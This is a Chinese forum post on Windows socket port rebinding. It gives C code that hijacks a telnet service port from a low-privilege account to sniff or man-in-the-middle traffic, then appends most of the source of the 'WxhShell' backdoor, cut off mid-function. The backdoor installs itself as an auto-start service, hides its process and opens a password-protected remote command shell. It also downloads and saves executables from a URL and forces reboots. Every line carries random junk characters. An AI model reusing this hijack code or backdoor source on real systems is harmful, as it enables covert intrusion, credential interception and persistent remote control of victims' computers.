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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,;D74h2F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .R-:vU880  
Js=|r;'  
  saddr.sin_family = AF_INET; ;G},xDGO_m  
p.l]% \QI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); !J:DBtGT  
OEAF.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ]j{S' cz  
5T8!5EcS*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DF&C7+hO  
01w=;Q  
  这意味着什么?意味着可以进行如下的攻击: ec]ksw6T+  
- z|idy{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 &.4lhfI+(Q  
L>@6lhD)x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pH"LZ7)DI0  
ZE=~ re  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :+R ||q i  
"3hw]`a}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -D(Ubk Pw  
@9c^{x\4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ' !_44  
$[|8bE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }_gq vgI>p  
*y0`P0V|8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H}}t )H  
U2Ur N?T  
  #include HV?awc  
  #include 9#3+k/A  
  #include }7C{:H2d  
  #include    VKs$J)6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I;xT yhUd  
  int main() }~ +  
  {  vG  
  WORD wVersionRequested; z5i!GJB  
  DWORD ret; p@Qzg /X  
  WSADATA wsaData; <4! w2vxG  
  BOOL val; Y@r#:BH )  
  SOCKADDR_IN saddr; 2cmqtlW"  
  SOCKADDR_IN scaddr; i;\i4MT  
  int err; f|q6<n_nM  
  SOCKET s; wZOO#&X#r  
  SOCKET sc; !IGVN:E  
  int caddsize; *v 8 ]99N  
  HANDLE mt; N.&K"J  
  DWORD tid;   |RpC0I  
  wVersionRequested = MAKEWORD( 2, 2 ); "`3H0il;<  
  err = WSAStartup( wVersionRequested, &wsaData ); V*)6!N[5  
  if ( err != 0 ) { :zZtZT!  
  printf("error!WSAStartup failed!\n"); ~q1s4^J  
  return -1; d?S<h`{x   
  } 6?Ks H;L9  
  saddr.sin_family = AF_INET; +0=RC^   
   *PMql$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ++kiCoC  
,)QmQ ^/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PDir?'  
  saddr.sin_port = htons(23); / _cOg? o  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  Et- .[  
  { HQE#O4  
  printf("error!socket failed!\n"); ,Tr12#D:  
  return -1; n;q7? KW8  
  } yx}:Sgv%  
  val = TRUE; `V?{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 j"NqNv  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) dIf Jr}ih  
  { t /47lYN)  
  printf("error!setsockopt failed!\n"); [UI bO@e  
  return -1; ZPMEN,Dw  
  } i/$lO de  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G's/Q-'[\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 s/T5aJR  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 GN>T }  
PNKmI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fe Q%L  
  { I@z{G r  
  ret=GetLastError(); V3m!dp]  
  printf("error!bind failed!\n"); *i n_Z t3  
  return -1; l,/5$JGnk  
  } gr S,PKH  
  listen(s,2); :4Y|%7[  
  while(1) fDRQ(}  
  { bk7miRIB  
  caddsize = sizeof(scaddr); %v|,-B7Yx  
  //接受连接请求 F(w>lWs;  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4s"HO/  
  if(sc!=INVALID_SOCKET) O-G@To3\  
  { iA< EJ  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eR}d"F4W  
  if(mt==NULL) RM`8P5i]sF  
  { 62zlO{ >rJ  
  printf("Thread Creat Failed!\n"); kO5KZ;+N-  
  break; lS,Hr3Lz  
  } c '(]n]a%  
  } j[z\p~^  
  CloseHandle(mt); <D 5QlAN  
  } 0P)c)x5  
  closesocket(s); te:VYP  
  WSACleanup(); w"sRK  
  return 0; Y# lE  
  }   #?-W.  
  DWORD WINAPI ClientThread(LPVOID lpParam) #F9$"L1Hg  
  { @-7K~in?^  
  SOCKET ss = (SOCKET)lpParam; 1X{A}9nA  
  SOCKET sc; "RG.vo7b  
  unsigned char buf[4096]; C qxP@  
  SOCKADDR_IN saddr; LCdc7  
  long num; *(HH71Y  
  DWORD val; c]n4vhUa5  
  DWORD ret; XRz.R/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ` Y ut 1N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   p"X\]g^jA>  
  saddr.sin_family = AF_INET; 4dy)g)wM  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :wF(([&4p!  
  saddr.sin_port = htons(23); }W YY5L8^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) X%gJ, c(4  
  { _I -0[w  
  printf("error!socket failed!\n"); H`".L^  
  return -1; 9XoKOR(  
  } 1'd "O @  
  val = 100; )GR^V=o7,Y  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m2V4nxw]Qp  
  { jK{CjfCNz  
  ret = GetLastError(); PEBQ|k8g&  
  return -1; w|M?t{  
  } S=my;M-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z1L.  
  { <oeHZD_ OR  
  ret = GetLastError(); T @z$g  
  return -1; &d*9#?9  
  } k!%HcU%J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xWlB!r<}Gz  
  { ]]]7"a  
  printf("error!socket connect failed!\n"); A]n !d}?  
  closesocket(sc); #{]=>n)j  
  closesocket(ss); .f6_[cS;g  
  return -1; mtF&Z\ag  
  } z1"UF4x*  
  while(1) PffwNj/l  
  { K'71uW>  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L@+j8[3BX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^L[Z+7|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 jQ[Z*^"}  
  num = recv(ss,buf,4096,0); 7kb`o y;(^  
  if(num>0) &556;l  
  send(sc,buf,num,0); 'N}Wo}1r  
  else if(num==0) 5H',Bm4-  
  break; n XQg(!  
  num = recv(sc,buf,4096,0); i?a]v 5  
  if(num>0) ) ejvT-  
  send(ss,buf,num,0); n_w,Ew,>5  
  else if(num==0) W6*(Y  
  break; WpvH} l r}  
  } X!"y>J  
  closesocket(ss); :q= XE$%H  
  closesocket(sc); ,= PDL  
  return 0 ; Mc\lzq8\ 1  
  } E dU3k'z$  
6Qo6 T][  
iff U}ce  
========================================================== E O}(MXS  
^oP]@r"qy  
下边附上一个代码,,WXhSHELL @emZwN"m  
uD5i5,q1Hs  
========================================================== , <[os  
#VrT)po+  
#include "stdafx.h" %ZxKN;  
pjoI};  
#include <stdio.h> )zt5`"/o  
#include <string.h> aNwDMd^+  
#include <windows.h> $iB(N ZV  
#include <winsock2.h> 1E-$f  
#include <winsvc.h> `SU;TN0  
#include <urlmon.h> AHLDURv  
!YoKKG~_0  
#pragma comment (lib, "Ws2_32.lib") 7eq;dNB@gq  
#pragma comment (lib, "urlmon.lib") . XY'l  
$)uQ%/DH>  
#define MAX_USER   100 // 最大客户端连接数 E+>;tLw3j  
#define BUF_SOCK   200 // sock buffer jALo;PDJ  
#define KEY_BUFF   255 // 输入 buffer `q/y|/v<  
im?nR+t+X  
#define REBOOT     0   // 重启 g)"6|Z?D"  
#define SHUTDOWN   1   // 关机  ,cB`j7p(  
n^A=ar.  
#define DEF_PORT   5000 // 监听端口 AfY(+w6!K  
:@p`E}1r{  
#define REG_LEN     16   // 注册表键长度 H11Wb(6Wu  
#define SVC_LEN     80   // NT服务名长度 i?R qv<n  
sO*6F`eiZ  
// 从dll定义API g>Z1ZK0;M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LQS*/s0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E6G^?k~q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H1@"Yg8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w8on3f;6n#  
kj[[78  
// wxhshell配置信息 *[jaI-~S  
struct WSCFG { q8p 'bibY  
  int ws_port;         // 监听端口 IEA[]eik>  
  char ws_passstr[REG_LEN]; // 口令 j@:L MR>  
  int ws_autoins;       // 安装标记, 1=yes 0=no RXP"v-  
  char ws_regname[REG_LEN]; // 注册表键名 65}:2l2<  
  char ws_svcname[REG_LEN]; // 服务名 /2z 2a-!r  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >SzTZ3!E  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kfHLjr.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6?`py}:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >,y QG+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qR1ez-#K  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 oDRNM^gz  
9*x9sfCv9  
}; [m"X*Z F  
}skXh_Vu4  
// default Wxhshell configuration t]m#k%)  
struct WSCFG wscfg={DEF_PORT, |ST&,a$(  
    "xuhuanlingzhe", @B[V'|  
    1, qv<VKJTi6]  
    "Wxhshell", <;Xj4 J  
    "Wxhshell", Q'rG' |  
            "WxhShell Service", C{,nDa?|  
    "Wrsky Windows CmdShell Service", *s/F4?*  
    "Please Input Your Password: ", H<q:+  
  1, "kL5HD]TC  
  "http://www.wrsky.com/wxhshell.exe", ]02V,'x  
  "Wxhshell.exe" 0 8U:{LL  
    }; 7+z%O3k'I  
* 5j iC  
// 消息定义模块 Xh{EItk~oO  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :xA'X+d/'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -W oZwqh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; } o=g)  
char *msg_ws_ext="\n\rExit."; )D@ NX/}  
char *msg_ws_end="\n\rQuit."; sQ_{zOUPh  
char *msg_ws_boot="\n\rReboot..."; 3}sd%vCK  
char *msg_ws_poff="\n\rShutdown..."; 7N:,F9V<  
char *msg_ws_down="\n\rSave to "; w</kGK[O  
_E1:3 N|  
char *msg_ws_err="\n\rErr!"; ul:jn]S*  
char *msg_ws_ok="\n\rOK!"; a~{mRh  
p_}OtS;  
char ExeFile[MAX_PATH]; k muF*0Bjk  
int nUser = 0; X2EC+<  
HANDLE handles[MAX_USER]; EJRwyF5 LK  
int OsIsNt; Bt.WRRpAB  
0R; ;ou  
SERVICE_STATUS       serviceStatus; )Z]8SED  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; P ^D\znvc  
? 1_*ct=g9  
// 函数声明 ,Z3.Le"  
int Install(void); tW 9vo-{+  
int Uninstall(void); QYg2'`(  
int DownloadFile(char *sURL, SOCKET wsh); C`DTPoXN  
int Boot(int flag); AJj6@hi2P  
void HideProc(void); d^,u"Z9P  
int GetOsVer(void); [5,#p$R  
int Wxhshell(SOCKET wsl); 7q(RQQp  
void TalkWithClient(void *cs); >y2gfD  
int CmdShell(SOCKET sock); O>}aK.H  
int StartFromService(void); 3Hr ZN+D  
int StartWxhshell(LPSTR lpCmdLine); tNq~M  
]r|X[9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SkS vu}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0dXWy`Mn  
XC~|{d  
// 数据结构和表定义 A?Uyj  
SERVICE_TABLE_ENTRY DispatchTable[] = 7=}`"7i~  
{ Y68oBUd_E  
{wscfg.ws_svcname, NTServiceMain}, g"F vD_  
{NULL, NULL} IY+P Yad  
}; +$ P0&YaQ  
hg |DpP  
// 自我安装 2y,f  
int Install(void) yv&&x.!.Z  
{ Fd0R?d  
  char svExeFile[MAX_PATH]; O$KLQ'0"n  
  HKEY key; t}]=5)9<  
  strcpy(svExeFile,ExeFile); +1_NB;,e  
%[5hTf  
// 如果是win9x系统,修改注册表设为自启动 <kp?*xV]]  
if(!OsIsNt) { V|DAw[!6N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iz& )FuOr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s )\%%CM  
  RegCloseKey(key); xa??OT`(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H71LJfH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K oo%mr   
  RegCloseKey(key); `cCsJm$V"  
  return 0; }c^`!9  
    } R9^Vk*`gFU  
  } RYy_Ppn96f  
} +A O(e  
else { A-qdTJP  
pm@Mlwg`1  
// 如果是NT以上系统,安装为系统服务 zcy!YB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~CQsv `  
if (schSCManager!=0) /n&w|b%  
{ 5PqL#Eu`!  
  SC_HANDLE schService = CreateService 1=}+NK!  
  ( 9aHV~5  
  schSCManager, g Q6_]~4  
  wscfg.ws_svcname, ]oUvC  
  wscfg.ws_svcdisp, r ".*l?=  
  SERVICE_ALL_ACCESS, z;J"3kM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }CIH1q3P  
  SERVICE_AUTO_START, WRe9ki=R  
  SERVICE_ERROR_NORMAL, % tTL  
  svExeFile, Q9Sh2qF^2  
  NULL, ")}^\O m  
  NULL, Uf4A9$R.G  
  NULL, >^=up f/  
  NULL, j  Jt"=  
  NULL B<%cqz@  
  ); Cjc>0)f&.  
  if (schService!=0) GHWi,' mr  
  { oc7&iL  
  CloseServiceHandle(schService); &e0BL z  
  CloseServiceHandle(schSCManager); db -h=L|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C0(?f[/(M  
  strcat(svExeFile,wscfg.ws_svcname); OX-t#R`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P{-j ^'y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4YX/=  
  RegCloseKey(key); /H3z~PBa  
  return 0; U[,."w]T  
    } iHBetkAu  
  } *t=8^q(K[  
  CloseServiceHandle(schSCManager); mE\sD<b  
} D<U^FT  
} C>wOoXjt  
4z%::?  
return 1; l1HMH?0|  
} jlXzfD T  
v#c'p^T  
// 自我卸载 Td(eNe_4T  
int Uninstall(void) X$BN &DD  
{ fqpbsM;M]  
  HKEY key; 5 nF46c  
+Np[m$Z *  
if(!OsIsNt) { MkLXMwuQ&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kD;1+lNz  
  RegDeleteValue(key,wscfg.ws_regname); wIQ~a  
  RegCloseKey(key); S#Q0aG j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { # 0kVhx7%  
  RegDeleteValue(key,wscfg.ws_regname); Is&0h|  
  RegCloseKey(key); 8z1#Q#5  
  return 0; WVZ](D8Gc]  
  } [`J91=  
} lDsT?yHS`Z  
} nQ*9E|Vx  
else { X\4d|VJ?m  
 ddK\q!0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iq1HA.X(  
if (schSCManager!=0) .bYZkO:oy  
{ &X3G;x2;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 27J!oin$  
  if (schService!=0) Cfs2tN  
  { vG'6?%38  
  if(DeleteService(schService)!=0) {  3-~*  
  CloseServiceHandle(schService); _nwsIjsW  
  CloseServiceHandle(schSCManager); p>oC.[:4a  
  return 0; *Ri\7CqU"6  
  } 1aAY7Dm_&  
  CloseServiceHandle(schService); I%(YR"  
  } ^Y%'"QwJS  
  CloseServiceHandle(schSCManager); amTeT o]Tg  
} A4uKE"WE  
} j)nL!":O  
6C'W  
return 1; U_Jchi,!  
} |VX )S!  
p~'iK4[&6  
// 从指定url下载文件 >V%lA3  
int DownloadFile(char *sURL, SOCKET wsh) 6;:z?Q  
{ \1Xr4H u  
  HRESULT hr; (n{x"rLy/  
char seps[]= "/"; _"%hcCMw  
char *token; d4~;!#<  
char *file; - f?8O6e  
char myURL[MAX_PATH]; XQ3"+M_KG  
char myFILE[MAX_PATH]; ]J1oY]2~  
yopC <k  
strcpy(myURL,sURL); 5bB\i79$  
  token=strtok(myURL,seps); &x9>8~   
  while(token!=NULL) fV#,<JG  
  { DHq#beN  
    file=token; l*>,K2F  
  token=strtok(NULL,seps); -=cxUDB  
  } TUBpRABH  
{=%,NwPs  
GetCurrentDirectory(MAX_PATH,myFILE); aP$it 6Z  
strcat(myFILE, "\\"); n nOgmI7  
strcat(myFILE, file); 8TBv~Q u  
  send(wsh,myFILE,strlen(myFILE),0); FMOO  
send(wsh,"...",3,0); $-)T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @ D,]v:  
  if(hr==S_OK) v!`:{)2C  
return 0; &HQ_e$1  
else $PstEL  
return 1; ?:tk8Kgf  
gc\/A\F<  
} <78*-Ob  
5jq @ nq6  
// 系统电源模块 kzk8b?rOA  
int Boot(int flag) jn4|gQ  
{ =,b6yV+$D  
  HANDLE hToken; .C\2f+(U  
  TOKEN_PRIVILEGES tkp; )IVk4|  
2YDD`:R  
  if(OsIsNt) { x2,;ar\D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h2-v.Tjf  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }_Ci3|G>%D  
    tkp.PrivilegeCount = 1; 7qSnP 30}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;E_Go&Vd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); " Tk,  
if(flag==REBOOT) { }a !ny  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .mHVJ5^:4\  
  return 0; enx+,[  
} tQ *?L  
else { ~GE|,Np  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gf +>Aj U'  
  return 0; 4bCA"QM[[  
} 4_D *xW  
  } ) &DsRA7v  
  else { {,!!jeOO  
if(flag==REBOOT) { - {}(U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]=o1to-  
  return 0; ZZw2m@T>  
} fH@cC`  
else { IL`LI J:O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) /lC,5y  
  return 0; /mA\)TL|]  
} -^)<FY\  
} <&^[?FdAa  
Im?/#tX  
return 1; k8\ KCKql  
} 3@nIoN'z  
.]H/u "d  
// win9x进程隐藏模块 %+ nM4)h  
void HideProc(void) M]|]b-#  
{ Y<IuwS  
Ee_?aG e&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /6rQ.+|).  
  if ( hKernel != NULL ) h<V,0sZ&:  
  { -X_\3J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _&(L{cFx6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T6b~uE  
    FreeLibrary(hKernel); LF `]=.Q  
  } d~MY z6"  
|"PS e~ u  
return; GSs?!BIC  
} V?Q45t Ae  
4X",:B}  
// 获取操作系统版本 ])G| U A.  
int GetOsVer(void) qzNXz_#+u  
{ ySI}Nm>&=  
  OSVERSIONINFO winfo; u$CN$ynS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^rs{1S  
  GetVersionEx(&winfo); OLtXk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e_-7,5Co  
  return 1; dWi< U4  
  else *o5[P\'6  
  return 0; QW'*^^  
} P l!E$   
ju5o).!bg  
// 客户端句柄模块 EXF]y}n  
int Wxhshell(SOCKET wsl) "Bv V89  
{ :IU<AG6  
  SOCKET wsh; Z t4q= Lr  
  struct sockaddr_in client; Buso `G  
  DWORD myID; V FM!K$_  
AFM+`{Cq  
  while(nUser<MAX_USER) "uP*pR^  
{ -[J4nN&N  
  int nSize=sizeof(client); >Tjl?CS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :ssj7wl :  
  if(wsh==INVALID_SOCKET) return 1; W}N7jPO}  
#6 ni~d&0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $IS!GS&:  
if(handles[nUser]==0) C~ A`h=A<  
  closesocket(wsh);  }D+ b`,  
else s?s ,wdp  
  nUser++; $9j>oUG  
  } |Xm$O1Wa  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); S,C c0)j>  
,}khu  
  return 0;  3Z`"k2k  
} ]%I\FefT  
#?+[|RS|  
// 关闭 socket FZ}^)u}o  
void CloseIt(SOCKET wsh) K2e68GU  
{ ]'7Au]Us`  
closesocket(wsh); ~ES%=if~Y  
nUser--; 3=o4ncg(  
ExitThread(0); E24SD'|)  
} IA&V?{OE@I  
b%*`}B  
// 客户端请求句柄 wx`.  
void TalkWithClient(void *cs) '<vb_8.  
{ 3UmkFK<  
VwRZgL  
  SOCKET wsh=(SOCKET)cs; ',!jYh}Uxk  
  char pwd[SVC_LEN]; OiXO<1'$  
  char cmd[KEY_BUFF]; .gGO+8[N*  
char chr[1]; 7QnWw0  
int i,j; tl{{Vc[  
>itNa.K  
  while (nUser < MAX_USER) { ;~L,Aqn7  
5073Q~  
if(wscfg.ws_passstr) { 6$:Q]zR#'H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  DAiS|x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <,0/BMz  
  //ZeroMemory(pwd,KEY_BUFF); v&(=^A\eN  
      i=0; >&:}L%  
  while(i<SVC_LEN) { L1I1SFG  
YlUh|sK7m  
  // 设置超时 !q,7@W3i  
  fd_set FdRead; d(XOZF  
  struct timeval TimeOut; _&\'Va$  
  FD_ZERO(&FdRead); QcX\z\'vg  
  FD_SET(wsh,&FdRead); s3m \  
  TimeOut.tv_sec=8; |c8\alw  
  TimeOut.tv_usec=0; +c!HXX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SPRTJdaC9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); z;P#  
F!g1.49""  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rNJU & .]  
  pwd=chr[0]; o~e_M-  
  if(chr[0]==0xd || chr[0]==0xa) { ]T|$nwQ  
  pwd=0; ab2Cn|F  
  break; -BI!ZsC'  
  } $Zo|t a^  
  i++; ;]0d{  
    } pnE]B0e  
M ;b3- i  
  // 如果是非法用户,关闭 socket JFO,Q -y\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z3YKG{g  
} kaQNcMcq  
uF|_6~g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i/n ee_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m,t{D, 2  
C|Y[T{g?t  
while(1) { nA_'j l  
ZklpnL*!  
  ZeroMemory(cmd,KEY_BUFF); 0{%@"Fb0O  
Q W,:'\G  
      // 自动支持客户端 telnet标准   ^^7@kh mNl  
  j=0; mD.6cV  
  while(j<KEY_BUFF) { {]8|\CcY?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9XtO#!+48  
  cmd[j]=chr[0]; -`{W~yz  
  if(chr[0]==0xa || chr[0]==0xd) { h!JyFc  
  cmd[j]=0; %AtT(G(n  
  break; L7aVj&xM  
  } s@iY'11  
  j++; l1lYb;C  
    } ; U7P{e05  
i.7_i78\"  
  // 下载文件 j;E$7QH[  
  if(strstr(cmd,"http://")) { &+@`Si=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D iOd!8Y  
  if(DownloadFile(cmd,wsh)) (0#$%US\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l,]%D  
  else !ry+{v+A  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&V64L:V  
  } 4G' E< ab  
  else { [jlum>K  
%X.g+uu  
    switch(cmd[0]) { {wA8!5Gu  
  k7rg:P  
  // 帮助 g.di3GGi  
  case '?': { G1e_pszD{o  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); / [49iIzC  
    break; [t3 Kgjt  
  } rjWtioZEa  
  // 安装 r,.j^a  
  case 'i': { EATVce]T  
    if(Install()) #oa>Z.?_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D8u`6/^  
    else T:'JA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5yK#;!:h  
    break; RD)Vb$.B:  
    } &PL=nI\)  
  // 卸载 7]1a3Jk  
  case 'r': { !*~QB4\2b  
    if(Uninstall()) hx;kNcPbI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XC~"T6F  
    else 1aIGC9xQ`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4 FZR }e\  
    break; Q>+rjN;  
    } k'|yUJ,  
  // 显示 wxhshell 所在路径 +x`pWH]2  
  case 'p': { b(R.&X  
    char svExeFile[MAX_PATH]; ko[d axUB  
    strcpy(svExeFile,"\n\r"); =hb)e}l  
      strcat(svExeFile,ExeFile); fPKpV`Hr3  
        send(wsh,svExeFile,strlen(svExeFile),0); U`EOun ,  
    break; dL+yd0 b*  
    } ZAy/u@qt  
  // 重启 \db=]L=|  
  case 'b': { CC"a2Hu/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M[z1B!rT  
    if(Boot(REBOOT)) d7r!<u&/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +FadOx7X$  
    else { yv]|Ce@8A  
    closesocket(wsh); cMT:Ij];  
    ExitThread(0); MK/8<i<.  
    } e~(e&4pb  
    break; !idVF!xG  
    } O/Hj-u6&A  
  // 关机 U _A'/p^D  
  case 'd': { vdgK3I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _6c/,a8;*J  
    if(Boot(SHUTDOWN)) Zazs".  
